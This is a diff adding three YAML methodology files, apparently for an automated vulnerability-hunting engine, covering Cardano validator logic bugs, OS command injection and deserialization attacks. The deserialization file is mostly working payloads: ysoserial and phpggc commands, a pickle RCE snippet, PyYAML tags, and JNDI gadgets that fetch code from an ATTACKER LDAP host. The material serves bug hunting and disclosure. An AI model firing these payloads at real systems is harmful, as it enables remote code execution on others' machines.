+ description: "Value-stealing logic bugs in Cardano on-chain validators — double satisfaction, missing signer checks, unconserved value, unauthorized minting, datum trust, staking/withdrawal tricks. No memory safety here; every bug is a constraint the validator forgets to enforce, exploited by a transaction the ledger admits."
4
+ version: 1
5
+ applicable_roles:
6
+ - attack
7
+ - audit
8
+ - review
9
+ tags:
10
+ - cardano
11
+ - aiken
12
+ - plutus
13
+ - smart-contract
14
+ - eutxo
15
+ - double-satisfaction
16
+ - blockchain
17
+ triggers:
18
+ - "validator\\s*\\{|validator\\s+\\w+\\s*\\("
19
+ - "ScriptContext|TxInfo|mkValidator|PlutusV[23]|plutus-tx"
20
+ - "extra_signatories|tx\\.signatories|txInfoSignatories"
21
+ - "redeemer|datum|Datum|Redeemer"
22
+ - "aiken\\.toml|\\.ak\\b|plutarch|pvalidator"
23
+ - "outputs|inputs|mint|withdrawals|reference_inputs"
24
+ - "find_input|own_input|continuing.?output|find_datum"
25
+ estimated_tokens: 900
26
+ content: |
27
+ ## Cardano EUTXO Validator Logic — Methodology
28
+
29
+ Cardano validators are pure functions `(datum, redeemer, ScriptContext) -> Bool`
30
+ on a memory-safe VM. There is NO UAF/OOB/injection. The ONLY bug class is:
31
+ **a transaction the validator should reject but accepts**, draining locked
32
+ value or minting unauthorized tokens. Every bug is a missing or weak check on
33
+ a `TxInfo` field. Verified class across Cardano (acropolis/cardano-js-sdk SSRF
34
+ is off-chain; this is the on-chain sibling).
35
+
36
+ ### Phase 1: Enumerate validators + what they constrain
37
+ For each `spend` / `mint` / `withdraw` / `publish` / `vote` handler (Aiken v2)
38
+ or redeemer branch (Plutus), list which `ScriptContext`/`TxInfo` fields it
39
+ actually asserts on: `extra_signatories`, `inputs`, `outputs`, `mint`,
40
+ `validity_range`, `withdrawals`, `reference_inputs`, `datums`. The bug is the
41
+ field it FORGETS.
42
+
43
+ ### Phase 2: The high-yield bug classes
44
+ - **Double satisfaction** — validator checks "an output of value X to addr A
45
+ exists" without binding it to THIS input. One output satisfies two script
46
+ inputs → drain. Fix marker: counts own inputs / tags output to own outref.
47
+ - **Missing signer check** — admin/spend/upgrade path that never requires the
48
+ owner key in `extra_signatories` (or checks an attacker-suppliable list).
49
+ - **Value not conserved** — validates the datum/state transition but never
50
+ asserts `continuing_output.value >= input.value`. Attacker pays value to
51
+ self. Also `>=` slack the attacker profits from, and min-ada/dust tricks.
52
+ - **Unauthorized mint** — mint handler with no quantity check, no redeemer
53
+ binding, or a one-shot guard that consumes the WRONG outref → infinite mint.
54
+ - **Datum trust** — trusts a datum field (price/owner/oracle) without
55
+ verifying it, or trusts an output datum it does not constrain; datum-hash vs
56
+ inline-datum confusion on Plutus.
57
+ - **Staking/withdrawal trick** — unconstrained `withdrawals`, withdraw-zero to
58
+ skip a check, or delegating a spend check to a trivially-satisfiable stake
59
+ script.
60
+ - **Missing validity-range / replay** — no deadline/vesting time bound; no
61
+ nonce/spent-input uniqueness → replay of an authorization.
62
+
63
+ ### Phase 3: Prove it (no sanitizer here)
64
+ Ground every finding in (1) the validator file:line of the missing check and
65
+ (2) the malicious transaction shape — which inputs, outputs, mint, signers —
66
+ and why each EXISTING check still passes while value moves to the attacker.
67
+
68
+ ### Phase 4: Kill false positives
69
+ Reject if: the Cardano ledger already enforces it (value ≥ 0, no double-spend,
70
+ min-ada, fees); a SIBLING validator or required-signer enforces it; or the
71
+ "missing" check has no real value impact. Read the other validators before
72
+ concluding — most false positives are checks enforced one validator over.
@@ -0,0 +1,99 @@
1
+ id: command-injection
2
+ name: "OS Command Injection"
3
+ description: "Untrusted data reaching a shell/subprocess — via filenames, URLs, archive entries, config values, and tool delegates. The single highest-disclosure bug class in our corpus (ImageMagick delegates, ESLint processors, whisper examples)."
4
+ version: 1
5
+ applicable_roles:
6
+ - attack
7
+ - audit
8
+ tags:
9
+ - command-injection
10
+ - rce
11
+ - subprocess
12
+ - shell
13
+ - delegate
14
+ - argument-injection
15
+ - nodejs
16
+ - python
17
+ - c
18
+ triggers:
19
+ - "command.?inject"
20
+ - "child_process"
21
+ - "exec\\("
22
+ - "execSync"
23
+ - "spawn\\("
24
+ - "spawnSync"
25
+ - "shell\\s*[:=]\\s*true"
26
+ - "os\\.system"
27
+ - "subprocess"
28
+ - "popen"
29
+ - "Runtime\\.getRuntime"
30
+ - "ProcessBuilder"
31
+ - "system\\("
32
+ - "execve|execvp|execlp"
33
+ - "delegate"
34
+ - "ImageMagick|convert\\b|ffmpeg|gs\\b|ghostscript"
35
+ - "eslint|processor"
36
+ - "backtick|`\\$"
37
+ estimated_tokens: 950
38
+ content: |
39
+ ## OS Command Injection Methodology
40
+
41
+ This is the highest-yield, most-frequently-accepted bug class in our corpus.
42
+ The win is almost never a literal `;rm -rf` in obvious code — it's **untrusted
43
+ data that flows into a subprocess through a non-obvious channel**: a filename,
44
+ a URL, an archive member name, a config field, or a tool "delegate" template.
45
+
46
+ ### Phase 1: Find the subprocess sinks
47
+ - **Node**: `child_process.exec`/`execSync` (runs via `/bin/sh -c` → shell
48
+ metachars live), `spawn`/`execFile` with `shell: true`, template literals
49
+ built into an `exec` string.
50
+ - **Python**: `os.system`, `subprocess.*(…, shell=True)`, `os.popen`,
51
+ `commands.*`. Also `subprocess.run([...])` where an attacker controls
52
+ `argv[0]` or can inject a leading `-flag` (argument injection).
53
+ - **C/C++**: `system()`, `popen()`, `execlp/execvp` with a PATH-resolved name,
54
+ or building a command string then handing it to a shell.
55
+ - **Delegates / external tools**: ImageMagick `delegates.xml`, ffmpeg/gs
56
+ invocations, git hooks, `eslint` custom processors, build scripts. These
57
+ expand `%f`/`%u`/`{filename}` style placeholders into a shell command.
58
+
59
+ ### Phase 2: Trace the source (the part people miss)
60
+ Ask: *what attacker-controlled value reaches the sink, and through how many
61
+ hops?* Productive sources in our verified findings:
62
+ - **Filenames** — an uploaded/processed file's name interpolated into a
63
+ command (ESLint processor on a crafted filename; ImageMagick on `name.png`).
64
+ - **URLs / remote refs** — a git remote URL, a download URL, a redirect target
65
+ passed to a fetch+process step.
66
+ - **Archive member names** — extracted entries used in a later command.
67
+ - **Config / manifest fields** — a value from `package.json`, a YAML/JSON
68
+ config, or an icon/asset path used unquoted in a sync/build script.
69
+ - **Auth / header values** — usernames or tokens echoed into a command.
70
+
71
+ ### Phase 3: Argument injection (don't stop at metachars)
72
+ Even with no shell, a parameterized subprocess is exploitable if the attacker
73
+ controls a value that becomes a **flag**: a filename starting with `-` becomes
74
+ an option (`--output=…`, `-o`), `git`'s `--upload-pack`, `curl`'s `-K`/`-o`,
75
+ `ssh`'s `-o ProxyCommand=…`. Look for `argv` arrays where an untrusted string
76
+ lands in a position that the tool will parse as an option.
77
+
78
+ ### Phase 4: Confirm before save_finding (mandatory)
79
+ A real, savable command-injection needs a concrete trigger path:
80
+ - the exact source → sink dataflow (file:line for each hop),
81
+ - the metachar/flag that breaks out and why the surrounding quoting/escaping
82
+ doesn't stop it (check for `shellescape`, `shlex.quote`, array-argv, allowlist),
83
+ - a minimal PoC input (a filename / URL / config value) and the resulting
84
+ command string. If you can run it in the sandbox, do — a captured
85
+ `id`/`echo PWNED` is the gold standard.
86
+
87
+ ### Anti-false-positive checklist
88
+ - Is the input actually attacker-controlled, or developer-supplied at build?
89
+ - Is there an allowlist / `execFile` (no shell) / proper quoting upstream?
90
+ - Does the "untrusted" value get validated/canonicalized before the sink?
91
+ If quoting is correct and the value is array-passed without shell, it is NOT
92
+ command injection — say so and move on; don't pad the report.
93
+
94
+ ### Real wins from this engine (the shape that lands)
95
+ - ImageMagick delegate command expansion via crafted filename/URL.
96
+ - ESLint custom processor command injection via crafted filename (acknowledged
97
+ by the maintainer).
98
+ - `whisper` example: untrusted filename → subprocess.
99
+ - GitHub Actions supply-chain command injection via a malicious value.
@@ -0,0 +1,106 @@
1
+ id: deserialization-chains
2
+ name: "Deserialization Attack Chains"
3
+ description: "Multi-language deserialization exploitation: Java, PHP, Python, .NET, Ruby"
4
+ version: 1
5
+ applicable_roles: [attack, audit]
6
+ tags: [deserialization, rce, java, php, python, dotnet, pickle, ysoserial, phar, gadget-chain]
7
+ triggers:
8
+ - "unserialize\\s*\\("
9
+ - "pickle\\.loads?\\s*\\("
10
+ - "cPickle"
11
+ - "__reduce__"
12
+ - "yaml\\.load\\s*\\("
13
+ - "!!python/object"
14
+ - "rO0AB"
15
+ - "application/x-java-serialized-object"
16
+ - "ysoserial"
17
+ - "CommonsCollections"
18
+ - "BinaryFormatter"
19
+ - "ObjectStateFormatter"
20
+ - "__VIEWSTATE"
21
+ - "TypeNameHandling"
22
+ - "Marshal\\.load"
23
+ - "phpggc"
24
+ - "O:\\d+:\"[\\w\\\\]+\":\\d+:\\{"
25
+ - "Fastjson"
26
+ - "Jackson.*enableDefaultTyping"
27
+ - "SnakeYAML"
28
+ - "\\\\xac\\\\xed\\\\x00\\\\x05"
29
+ estimated_tokens: 750
30
+ content: |
31
+ ## Deserialization Attack Chains
32
+
33
+ ### Step 1: Identify Serialization Format
34
+ Detect the format from magic bytes, Content-Type, or code patterns:
35
+ - **Java**: magic `\xac\xed\x00\x05` / base64 `rO0AB`; Content-Type `application/x-java-serialized-object`
36
+ - **PHP**: `O:8:"stdClass":0:{}` shape in cookies, POST bodies, or hidden fields
37
+ - **Python pickle**: base64 blobs in cookies (Flask-Session), `.pkl` files, Celery task bodies
38
+ - **.NET**: `__VIEWSTATE` fields, `SoapFormatter`/`BinaryFormatter` in request bodies
39
+ - **Ruby**: `\x04\x08` header in base64 cookies (Rack sessions)
40
+
41
+ ### Step 2: Java Deserialization
42
+ **ysoserial gadget chains** (match to classpath):
43
+ - `java -jar ysoserial.jar CommonsCollections1 'id' | base64 -w0` — Apache Commons Collections 3.1
44
+ - `CommonsCollections5` / `CommonsCollections6` — CC 3.1-3.2.1 (no InvokerTransformer restriction)
45
+ - `CommonsBeanutils1` — commons-beanutils on classpath
46
+ - `Spring1` / `Spring2` — Spring Framework apps
47
+ - `Hibernate1` — Hibernate ORM present
48
+ - `URLDNS` — **no gadget dependency**, blind detection via DNS callback; always try first
49
+ - Blind detection: `java -jar ysoserial.jar URLDNS 'http://ATTACKER.oast.id' | base64 -w0`
50
+
51
+ **Jackson (enableDefaultTyping / @JsonTypeInfo)**:
52
+ - Payload: `["com.sun.rowset.JdbcRowSetImpl",{"dataSourceName":"ldap://ATTACKER:1389/obj","autoCommit":true}]`
53
+ - Requires JNDI injection endpoint (Marshalsec LDAP/RMI server)
54
+
55
+ **Fastjson** (versions < 1.2.68):
56
+ - `{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://ATTACKER:1389/obj","autoCommit":true}`
57
+ - Bypass autoType: `{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://ATTACKER/a","autoCommit":true}`
58
+
59
+ **Common Java sinks**: RMI (:1099), JMX, T3 (WebLogic :7001), JMS queues, JSF ViewState, Struts2 OGNL parameters.
60
+
61
+ ### Step 3: PHP Deserialization
62
+ **unserialize() + POP chains**:
63
+ - Confirm: send `O:8:"stdClass":0:{}` — valid parse = no error; garbage = `unserialize(): Error at offset`
64
+ - Build chains with **phpggc**: `phpggc Monolog/RCE1 system id | base64 -w0`
65
+ - Key chains: `Laravel/RCE1-12`, `Symfony/RCE1-6`, `Monolog/RCE1-9`, `Guzzle/RCE1`, `Slim/RCE1`
66
+ - Fingerprint framework from cookies (laravel_session, XSRF-TOKEN), error traces, headers
67
+
68
+ **Phar deserialization** (no direct unserialize call needed):
69
+ - Upload a phar disguised as `.jpg`/`.png` (phar polyglot)
70
+ - Trigger via any file operation: `file_exists("phar://uploads/evil.jpg")`, `getimagesize()`, `finfo_file()`
71
+ - Phar metadata is deserialized automatically — chains same as unserialize()
72
+
73
+ ### Step 4: Python Deserialization
74
+ **pickle RCE** (pickle.loads on attacker data = direct code execution):
75
+ ```python
76
+ import pickle, base64, os
77
+ class E:
78
+ def __reduce__(self):
79
+ return (os.system, ('id',))
80
+ print(base64.b64encode(pickle.dumps(E())).decode())
81
+ ```
82
+ Common sinks: Flask-Session (pickle backend), Redis-cached objects, `/tmp/*.pkl`, Celery task serialization, shelve, joblib.load.
83
+
84
+ **PyYAML** (yaml.load without SafeLoader):
85
+ - `!!python/object/apply:os.system ["id"]`
86
+ - `!!python/object/apply:subprocess.check_output [["id"]]`
87
+ - Older PyYAML: `!!python/object/new:os.system ["id"]`
88
+
89
+ ### Step 5: .NET Deserialization
90
+ **BinaryFormatter / SoapFormatter / LosFormatter**:
91
+ - `ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "cmd /c whoami"`
92
+ - `ysoserial.exe -g WindowsIdentity -f BinaryFormatter -c "cmd /c whoami"`
93
+
94
+ **ViewState** (ASP.NET):
95
+ - Check for `__VIEWSTATE` without MAC validation (no `__VIEWSTATEGENERATOR` or known machine key)
96
+ - `ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "cmd /c whoami" --path="/target.aspx" --apppath="/"`
97
+
98
+ **Json.NET TypeNameHandling** (not None):
99
+ - `{"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework","MethodName":"Start","MethodParameters":{"$type":"System.Collections.ArrayList","$values":["cmd","/c whoami"]},"ObjectInstance":{"$type":"System.Diagnostics.Process, System"}}`
100
+
101
+ ### Workflow
102
+ 1. Identify format from magic bytes, headers, or code patterns.
103
+ 2. Send a benign baseline blob to confirm deserialization occurs (error shape reveals parser).
104
+ 3. Start with blind/OOB detection (URLDNS for Java, DNS/HTTP callback for others).
105
+ 4. Match gadget chain to fingerprinted framework/library versions.
106
+ 5. Escalate to command execution; prove with `id`/`whoami`, not flag reads.